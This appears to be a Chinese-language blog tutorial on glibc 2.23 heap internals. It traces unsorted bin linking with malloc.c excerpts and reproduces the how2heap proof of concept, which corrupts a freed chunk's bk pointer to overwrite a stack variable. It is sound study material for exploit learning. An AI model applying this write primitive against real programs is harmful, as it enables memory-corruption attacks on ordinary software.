先看看unsorted bin的入链和出链情况
#include <malloc.h>
int main()
{
char* a = malloc(0x88);
malloc(0x8);
char* b = malloc(0x100);
malloc(0x8);
free(a);
free(b);
char* c = malloc(0x88);
char* d = malloc(0x100);
return 0;
}
分配chunk
char* a = malloc(0x88);
malloc(0x8);
char* b = malloc(0x100);
malloc(0x8);
chunk a释放到 unsorted bin中
chunk b释放到unsorted bin中
简化一下(都是指向的chunk头部
)
可以看到,最近释放的chunk与unsorted bin头结点相连
- unsorted bin中的bk指向最旧的chunk
- unsorted bin中的fd 指向最新的chunk
从unsorted bin中申请回chunk a
当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
unsorted bin attack原理确实是这一块的代码,但是大佬讲的言简意赅,下面我会啰嗦一点的讲。
由于是把chunk a申请回来,则unsorted bin链从如下图
转变为如下图
需要修正的是:
- chunk b fd的内容
- unsorted bin 头节点bk的内容
在malloc.c源码中_int_malloc函数中,要申请的chunk大小在fastbin,small bin中没有现成的chunk满足时,会整理unsorted bin
- 先将unsorted bin中的chunk一个一个先脱链(怎么脱链不管),但每次脱链unsorted bin链需要将其剩余的所有chunk的fd,bk修正正常
- 如果脱链的chunk大小和申请的大小相同,就直接使用
- 否则放入的small bin或者large bin中
unsorted bin attack
就发生在chunk脱链,unsorted bin链表重新整理
这一步
下面是正常情况,在当前示例中:victim就是chunk a,bck就是chunk b
(如果victim是chunk b,则 bck就是unsorted bin)
In file: /glibc/2.23/source/malloc/malloc.c
3468 {
3469 int iters = 0;
3470 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3471 {
3472 bck = victim->bk; 【0】// victim是当前检查的chunk,bck是该chunk之后(时间上)放入unsorted bin的chunk
// victim理解为chunk a,bck理解为chunk b
► 3473 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
3474 || __builtin_expect (victim->size > av->system_mem, 0))
3475 malloc_printerr (check_action, "malloc(): memory corruption",
3476 chunk2mem (victim), av);
3477 size = chunksize (victim);
从unsorted bin的bk中,获取最旧的chunk,之后再根据chunk->bk,从最旧到最新开始遍历,尝试在unsorted bin链表中找到合适的chunk
然后chunk a就脱链(怎么脱链,放到哪里的逻辑,在修正的代码之后),unsorted bin和chunk b开始修正其fd,bk,修正的代码就是上面的
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck; 【1】
bck->fd = unsorted_chunks (av); 【2】
- 【0】bck就是
chunk b
,是从bck = victim->bk
获取到的 - 【1】
unsorted_chunks (av)->bk = bck;
,修正unsorted bin头节点的bk - 【2】
bck->fd = unsorted_chunks (av);
,修正chunk b的fd
如何产生unsorted bin attack
伪造从unsorted bin链中,要脱链chunk的bk
unsorted bin attack的效果就是在指定的位置,写入unsorted bin头结点的首地址,就是那个所谓的较大的值。
需要注意的是,虚假的chunk fd必须是一个可写的地址
现在再看how2heap的代码就容易理解一些。
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}